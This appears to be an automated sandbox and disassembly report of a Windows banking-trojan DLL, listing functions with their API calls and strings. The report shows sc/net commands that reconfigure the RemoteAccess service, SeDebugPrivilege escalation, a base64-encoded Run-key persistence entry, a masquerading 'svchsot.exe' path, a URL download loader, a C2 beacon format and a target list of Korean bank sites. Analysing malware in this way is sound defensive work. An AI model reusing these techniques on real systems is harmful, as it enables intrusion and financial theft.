Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreateCurrentPointerProcess_localtime32sprintfstrftimetimevsprintf
String ID: %s.%d$C:\Windows\6C4DA6FB\svchsot.exe$C:\Windows\6C4DA6FB\svchsot.vir$cmd.exe$self
API String ID: 3192119092-4191049792
Opcode ID: ba6a527f4a739631b566123cca767d18ee45be973559c480ae428ec06e6e2757
Instruction ID: 4e1dc663dc5c2e20ab1e8d508aa2f617d19e20be5b77b03456e3f7bde4afe704
Opcode Fuzzy Hash: ba6a527f4a739631b566123cca767d18ee45be973559c480ae428ec06e6e2757
Instruction Fuzzy Hash: 4C112BB26401147BF3119754EC8ABEB3348DF84352F414131F70496181DA76E5A8C6B7

Function 10007F60 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 99processregistrystringCOMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(?,100147E8), ref: 10007FE5
_CxxThrowException.MSVCRT(?,100147E8), ref: 1000801D
lstrlen.KERNEL32(?,00000000), ref: 10008043
WinExec.KERNEL32(sc stop RemoteAccess,00000000), ref: 1000806C
WinExec.KERNEL32(sc config RemoteAccess start= auto,00000000), ref: 10008074
WinExec.KERNEL32(net start RemoteAccess,00000000), ref: 1000807C
RegCloseKey.ADVAPI32(?), ref: 10008082

Strings

mp3, xrefs: 1000802E
net start RemoteAccess, xrefs: 10008077
U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFJlbW90ZUFjY2Vzc1xSb3V0ZXJNYW5hZ2Vyc1xJcA==, xrefs: 10007F86
DLLPath, xrefs: 10007FFD, 1000804D
sc stop RemoteAccess, xrefs: 10008067
sc config RemoteAccess start= auto, xrefs: 1000806F

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Exec$ExceptionThrow$Closelstrlen
String ID: DLLPath$U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXFJlbW90ZUFjY2Vzc1xSb3V0ZXJNYW5hZ2Vyc1xJcA==$mp3$net start RemoteAccess$sc config RemoteAccess start= auto$sc stop RemoteAccess
API String ID: 2220367965-2251003411
Opcode ID: 8b7e3d6da74423e4f7df1cee934fc3ce02715c38fd0b714f26f77314a7f6a13a
Instruction ID: 386c89186cab945f5a718573854e040faaf77393de1b5ed21536ee36dbd8ba18
Opcode Fuzzy Hash: 8b7e3d6da74423e4f7df1cee934fc3ce02715c38fd0b714f26f77314a7f6a13a
Instruction Fuzzy Hash: 4131AFB5900159AFEB10DF94CC85EEFBBB8FF49250F004169F604AB140D7749E848BB2

Function 1000A9F0 Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 338COMMON

Download Yara Rule

Strings

REG_DWORD, xrefs: 1000AD9B
REG_MULTI_SZ, xrefs: 1000ADC6
JS0yNHMgJS0xNXMgJXMgXHJcbg==, xrefs: 1000AD6B
REG_EXPAND_SZ, xrefs: 1000AD5F
JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==, xrefs: 1000ADA7
REG_SZ, xrefs: 1000AD51
JS0yNHMgJS0xNXMgXHJcbg==, xrefs: 1000ADD2, 1000ADF5
[%s], xrefs: 1000AC75
REG_BINARY, xrefs: 1000ADE9

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID: JS0yNHMgJS0xNXMgJXMgXHJcbg==$JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==$JS0yNHMgJS0xNXMgXHJcbg==$REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ$[%s]
API String ID: 71445658-1435378120
Opcode ID: 7d424288471b201655ca4a48aa21b457367a72ea9670dcdcb4ac0206b327a908
Instruction ID: 40b7c5c0a35248af27e297c048efb2102711e9767bb195815e86efec323737f9
Opcode Fuzzy Hash: 7d424288471b201655ca4a48aa21b457367a72ea9670dcdcb4ac0206b327a908
Instruction Fuzzy Hash: AEC1B8B2900158AFEB14CF94DC41FDF73B9EB89340F004299F619A7184EB74AE84CB95

Function 10006760 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Part of subcall function 100060E0: strrchr.MSVCRT ref: 1000615E
Part of subcall function 100060E0: strncpy.MSVCRT ref: 10006175
Part of subcall function 100060E0: strncpy.MSVCRT ref: 1000617F
Part of subcall function 100060E0: GetSystemInfo.KERNEL32(?), ref: 10006189
Part of subcall function 100060E0: GetCurrentProcess.KERNEL32(00000020,?), ref: 100061AA
Part of subcall function 100060E0: OpenProcessToken.ADVAPI32(00000000), ref: 100061B1
Part of subcall function 100060E0: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 100061C2
Part of subcall function 100060E0: AdjustTokenPrivileges.ADVAPI32 ref: 100061F7
Part of subcall function 100060E0: CloseHandle.KERNEL32(00000010), ref: 10006202
Part of subcall function 100060E0: sscanf.MSVCRT ref: 1000622D

wsprintfA.USER32 ref: 100067A2

Part of subcall function 10006240: strchr.MSVCRT ref: 10006296

wsprintfA.USER32 ref: 10006808
wsprintfA.USER32 ref: 10006821
CreateDirectoryA.KERNEL32(?,00000000), ref: 1000682C

Part of subcall function 10005130: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,100094FF,?,?,?), ref: 10005149
Part of subcall function 10005130: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 1000516B
Part of subcall function 10005130: CloseHandle.KERNEL32(00000000), ref: 10005172

OpenProcess.KERNEL32(001F0FFF,00000000,00000000), ref: 1000686A
CreateThread.KERNEL32(00000000,00000000,10006630,00000000,00000000,00000000), ref: 10006891

Strings

%s\%s, xrefs: 1000679C
ROOT\CIMv2, xrefs: 1000684C
c:\windows\system32\drivers\%s\%s, xrefs: 1000681B
c:\windows\system32\drivers\%s, xrefs: 10006801
Win32_process, xrefs: 10006847

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateProcesswsprintf$CloseFileHandleOpenTokenstrncpy$AdjustCurrentDirectoryInfoLookupPrivilegePrivilegesSystemThreadValueWritesscanfstrchrstrrchr
String ID: %s\%s$ROOT\CIMv2$Win32_process$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s
API String ID: 3642037362-1421401311
Opcode ID: d2cd299e288b3e9e98b9e1fba56ee12053f96323f8ef1271132cbb11194d2572
Instruction ID: f20ba2a97323ed7df82d32d2797e0c63e95325ef1500b8652c68676ddbbd9728
Opcode Fuzzy Hash: d2cd299e288b3e9e98b9e1fba56ee12053f96323f8ef1271132cbb11194d2572
Instruction Fuzzy Hash: 2931D4715047507FE311CBA8CDD4AEB7BAAEB8D340F004929F35597242CB35E948CB62

Function 10011A66 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 187librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 10011B0C
GetLastError.KERNEL32 ref: 10011B18
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 10011B4B
InterlockedExchange.KERNEL32(?,00000000), ref: 10011B5D
LocalAlloc.KERNEL32(00000040,00000008), ref: 10011B71
FreeLibrary.KERNEL32(00000000), ref: 10011B8E
GetProcAddress.KERNEL32(?,?), ref: 10011BEF
GetLastError.KERNEL32 ref: 10011BFB
RaiseException.KERNEL32(C06D007F,00000000,00000001,?), ref: 10011C2D

Strings

$, xrefs: 10011A82

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorExceptionLastLibraryRaise$AddressAllocExchangeFreeInterlockedLoadLocalProc
String ID: $
API String ID: 991255547-3993045852
Opcode ID: 2a11c7f7179ab892354a6a713d73592b2975e953cd869872c764eb05020c9fd4
Instruction ID: 4d5577417f8e46cad4d298f1aa2e6885704c8343808cc9b2ee3d484d600d16ac
Opcode Fuzzy Hash: 2a11c7f7179ab892354a6a713d73592b2975e953cd869872c764eb05020c9fd4
Instruction Fuzzy Hash: 81614EB5A042099FEB19CF99C9C1AEA77F5FF48340F118029E919DB250E770EE85CB60

Function 10008AC0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 177networkCOMMON

Download Yara Rule

APIs

Part of subcall function 10007640: strstr.MSVCRT ref: 100076EB
Part of subcall function 10007640: strstr.MSVCRT ref: 1000770F
Part of subcall function 10007640: strcspn.MSVCRT ref: 1000771E
Part of subcall function 10007640: strstr.MSVCRT ref: 1000772A
Part of subcall function 10007640: strcspn.MSVCRT ref: 10007739
Part of subcall function 10007640: strncpy.MSVCRT ref: 10007742
Part of subcall function 10007640: strstr.MSVCRT ref: 1000777F
Part of subcall function 10007640: strcspn.MSVCRT ref: 10007792

Part of subcall function 10006BE0: setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 10006BF7

Part of subcall function 10006F70: RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F9F
Part of subcall function 10006F70: GlobalMemoryStatusEx.KERNEL32(?), ref: 10007059
Part of subcall function 10006F70: GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 100070B2

send.WS2_32(00000000,?,00000128,00000000), ref: 10008B2F
closesocket.WS2_32(00000000), ref: 10008B3B
select.WS2_32 ref: 10008B91
closesocket.WS2_32(00000000), ref: 10008C83
InterlockedExchange.KERNEL32(1001B6B8,00000001), ref: 10008C94

Strings

SeShutdownPrivilege, xrefs: 10008C17, 10008C33
zip, xrefs: 10008CD5

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strstr$strcspn$closesocket$DefaultExchangeGlobalInterlockedLanguageMemoryOpenStatusSystemselectsendsetsockoptstrncpy
String ID: SeShutdownPrivilege$zip
API String ID: 619725691-4289258210
Opcode ID: 561ca7740bbf3e17141a47d3a836b13047d7a0a7756f3eff1820db465d8b02ff
Instruction ID: 12ec0c918aa9a297be5ccc665cebabc014b02cea96a7eba10d88a6146ebaa4c5
Opcode Fuzzy Hash: 561ca7740bbf3e17141a47d3a836b13047d7a0a7756f3eff1820db465d8b02ff
Instruction Fuzzy Hash: 925127B0544205AAF720DB24DC85FEB77E8FB943D0F104A29FA49D61CADB74E6448772

Function 100072A0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 131libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(urlmon.dll,00000001,00000001,?), ref: 100072B7
LoadLibraryA.KERNEL32(wininet.dll), ref: 100072C0
GetProcAddress.KERNEL32(00000000,URLDownloadToCacheFileA), ref: 100072E9
GetProcAddress.KERNEL32(00000000,GetUrlCacheEntryInfoA), ref: 100072F4

Strings

GetUrlCacheEntryInfoA, xrefs: 100072EB
URLDownloadToCacheFileA, xrefs: 100072D8
wininet.dll, xrefs: 100072B9
WinSta0\Default, xrefs: 100073F2
urlmon.dll, xrefs: 100072B2

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetUrlCacheEntryInfoA$URLDownloadToCacheFileA$WinSta0\Default$urlmon.dll$wininet.dll
API String ID: 2574300362-1569318151
Opcode ID: 5b604fb2e00ad6d5b1768fdcc3b301a9170120e2225cd6010a9ac84f16d7b199
Instruction ID: 6ff2e891fe8b6a67bc8749009df75dfcb0ea21cbbb39f2f2a6088e9a3be85236
Opcode Fuzzy Hash: 5b604fb2e00ad6d5b1768fdcc3b301a9170120e2225cd6010a9ac84f16d7b199
Instruction Fuzzy Hash: 4241CC32A0051C6BDB25C6B8CC51BEF7666FB88320F550369F716AB2C1DAF15E45CB44

Function 10008490 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 10004F60: GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
Part of subcall function 10004F60: OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
Part of subcall function 10004F60: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
Part of subcall function 10004F60: AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
Part of subcall function 10004F60: CloseHandle.KERNEL32 ref: 10004FD5

CreateMutexA.KERNEL32(00000000,00000001,Global\98012trt8-d8dfsf,?,1000850C), ref: 100084AB
GetLastError.KERNEL32(?,1000850C), ref: 100084B3
ReleaseMutex.KERNEL32(00000000,?,?,?,1000850C), ref: 100084DD
CloseHandle.KERNEL32(00000000,?,?,?,1000850C), ref: 100084E4

Strings

SeDebugPrivilege, xrefs: 10008494
ERROR_ALREADY_EXISTS, xrefs: 100084C5
c:\11.txt, xrefs: 100084CA
Global\98012trt8-d8dfsf, xrefs: 100084A3

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleMutexProcessToken$AdjustCreateCurrentErrorLastLookupOpenPrivilegePrivilegesReleaseValue
String ID: ERROR_ALREADY_EXISTS$Global\98012trt8-d8dfsf$SeDebugPrivilege$c:\11.txt
API String ID: 3631164735-4205529783
Opcode ID: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction ID: 292784ae164184b6aa7911133eb3b2ce828e5530ad2962163ce020204c324f4b
Opcode Fuzzy Hash: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction Fuzzy Hash: 85E09275D1016067F912B760ACCDADE3A25D78A795F034130F709E5156DF34CAD1C2A2

Function 1000F870 Relevance: 12.2, APIs: 8, Instructions: 169fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E
GetFileSize.KERNEL32(?,00000000,?,00000000,?), ref: 1000F8EB
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F90B
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 1000F922
SetFilePointer.KERNEL32(?,00000024,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1000FEC7), ref: 1000F92B
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F93C
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 1000F95C
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 1000F96D

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction ID: 75170083ee676786804825bfb6193be50822de76c0b42b9061a3e677b9cbe5b9
Opcode Fuzzy Hash: 859882acb2849d7037477cc4baac1a315585c36ddf65a2636b61d75e7ae6334e
Instruction Fuzzy Hash: C851BFB1A04305AFF314CE94CC81FBBB7E4EF88784F10891CF68597684EAB4E9059B56

Function 10009130 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 91stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 10009155

Strings

ECF4BB45F69C, xrefs: 100091AE, 1000920F
%s/joy.asp?sid=%s, xrefs: 10009240
NULL, xrefs: 10009150, 10009234
http://, xrefs: 1000914B
09161305, xrefs: 10009208
%s|NULL|%s|%s, xrefs: 1000921B

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strstr
String ID: %s/joy.asp?sid=%s$%s|NULL|%s|%s$09161305$ECF4BB45F69C$NULL$http://
API String ID: 1392478783-2046915025
Opcode ID: b99288b726db85a61a84a1db8eadd2a0bfb92a8b3bc24bd03ce9598594f91a41
Instruction ID: cef405a299d08575f7e8510bff70e8bc64c33956ff9c8c1ef28923b5b4943e29
Opcode Fuzzy Hash: b99288b726db85a61a84a1db8eadd2a0bfb92a8b3bc24bd03ce9598594f91a41
Instruction Fuzzy Hash: 39318E756047416BE724CB38CC01BEBB7D5EBC8254F448A3CB7498A285EF78E544C652

Function 10009050 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 10004B10: GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Part of subcall function 10004C20: RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,100090BE,80000001,00000000,?), ref: 10004C4D

wsprintfA.USER32 ref: 100090E7

Part of subcall function 10004CC0: RegSetValueExA.KERNEL32(?,?,?,?,?,?,10009112,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,75570F00), ref: 10004C65

Strings

c:\windows\SysWOW64\rundll32.exe, xrefs: 100090D8
U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==, xrefs: 100090A6
EvtMgr, xrefs: 10009107
c:\yucdh\qtbbkpjim.dll, xrefs: 1000907F, 100090D3
REG_SZ, xrefs: 1000909F
%s "%s",QueryPluginInterface, xrefs: 100090E1

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateNamePathShortValuewsprintf
String ID: %s "%s",QueryPluginInterface$EvtMgr$REG_SZ$U29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1bg==$c:\windows\SysWOW64\rundll32.exe$c:\yucdh\qtbbkpjim.dll
API String ID: 2251888957-1485943984
Opcode ID: 8afd94b0278ad8f212652a366a92916e6436194c3e9168692bd8b2d83aaba4e2
Instruction ID: d246d73be0499fa8dd0e485b3868a99af5c8bb1a4792636f53a3e73381c3b96b
Opcode Fuzzy Hash: 8afd94b0278ad8f212652a366a92916e6436194c3e9168692bd8b2d83aaba4e2
Instruction Fuzzy Hash: 3F11BFB56042447BF354D264DC42FEB7694EB94740F810E28B745AA182EBF5E5888297

Function 1000FA40 Relevance: 7.6, APIs: 5, Instructions: 138fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,76C08400,00000000,10010D59), ref: 1000FA95
CreateFileA.KERNEL32(?,40000000,00000000,00000000,?,00000080,00000000,?,76C08400,00000000,10010D59), ref: 1000FAD6

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction ID: 308ac7dc05e7744f4e081a0bdb9278c18c1066b528d8c71e9578729df1ac5f0e
Opcode Fuzzy Hash: b3b746043fca136ba4e81b91f0f512960f4c623e21c03b3bed80360a50ba42b1
Instruction Fuzzy Hash: ED416AB26057419FE320CF29D884B5BB7ECEB943A9F108A3FF295C6940D370D8959B60

Function 1000A7D0 Relevance: 6.2, APIs: 4, Instructions: 164COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1000A8E4
InterlockedDecrement.KERNEL32(?), ref: 1000A918
InterlockedIncrement.KERNEL32(?), ref: 1000A965
InterlockedDecrement.KERNEL32(?), ref: 1000A977

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Interlocked$Decrement$Increment
String ID:
API String ID: 2574743344-0
Opcode ID: 25fdab2225f7c0ceb369f4a8396a1c2ed694ff04c12ef12b3478b03fc2270baf
Instruction ID: 6cbe9a1f3e0df641fd87c38007f5d6db5c369deff50cff04694e886eb5793eaa
Opcode Fuzzy Hash: 25fdab2225f7c0ceb369f4a8396a1c2ed694ff04c12ef12b3478b03fc2270baf
Instruction Fuzzy Hash: C451D0B2A043929BE710DF258885A0EB7E4FB85690F428A2DF485D7205D734EDCAC792

Function 10006240 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 10006296
strchr.MSVCRT ref: 10006360

Strings

www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 10006261
, xrefs: 100062E4

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strchr
String ID: $www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 2830005266-1486078621
Opcode ID: 8fe9bc9a7b70a88539dcbdc00b001697f1adf1b456da37eeb74713bcca483fef
Instruction ID: a98ee60c11287c2f9934eeec0192e0ab45efcf3a9a7c66bc25993254181b1c03
Opcode Fuzzy Hash: 8fe9bc9a7b70a88539dcbdc00b001697f1adf1b456da37eeb74713bcca483fef
Instruction Fuzzy Hash: E031A136604A081B972CC878985556B7AC3FBC4270FA5073DFA6B872C0DEF59E498281

Function 1000FE60 Relevance: 6.1, APIs: 4, Instructions: 114timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,00000000), ref: 1000FEA9
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 1000FED6
GetLocalTime.KERNEL32(?), ref: 1000FF10
SystemTimeToFileTime.KERNEL32(?,?), ref: 1000FF20

Part of subcall function 1000F870: GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,1000FEC7,?), ref: 1000F87E

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction ID: ff97dbb23fa899d1f5120cfb08b873e3bb9ee6e36dd1778d440c9f7421c03229
Opcode Fuzzy Hash: d76752544ed911a59727a7edf19554d459005f1b391c5dc4058420ad9c283b3b
Instruction Fuzzy Hash: A54182B1504B459FE310DF29C88096BF7E8FF89354F408A2EF59A83A51D771E909CB61

Function 10011725 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 10011738
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000002,00000000,00000000,?,?,00000000,00000000,10005F05,00000000), ref: 10011764
GetLastError.KERNEL32 ref: 10011774
GetLastError.KERNEL32 ref: 1001177A

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidewcslen
String ID:
API String ID: 4237787585-0
Opcode ID: fbde7d7f200f791d168fe25ebe5d393c7a4ec7783423b8fc7ef90a340bc1d4c3
Instruction ID: 7da0face451c6111151f8021a2b648fc1a122d1c6800f274b1f82439deee1a5c
Opcode Fuzzy Hash: fbde7d7f200f791d168fe25ebe5d393c7a4ec7783423b8fc7ef90a340bc1d4c3
Instruction Fuzzy Hash: 80F0C27620815ABDE224E6764CC8DAB77ECDB852F87124639F514DE282E935EC85C2B0

Function 10004FF0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,75570F00), ref: 10004FFD
TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
CloseHandle.KERNEL32(00000000), ref: 10005017
CloseHandle.KERNEL32(00000000), ref: 10005024

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

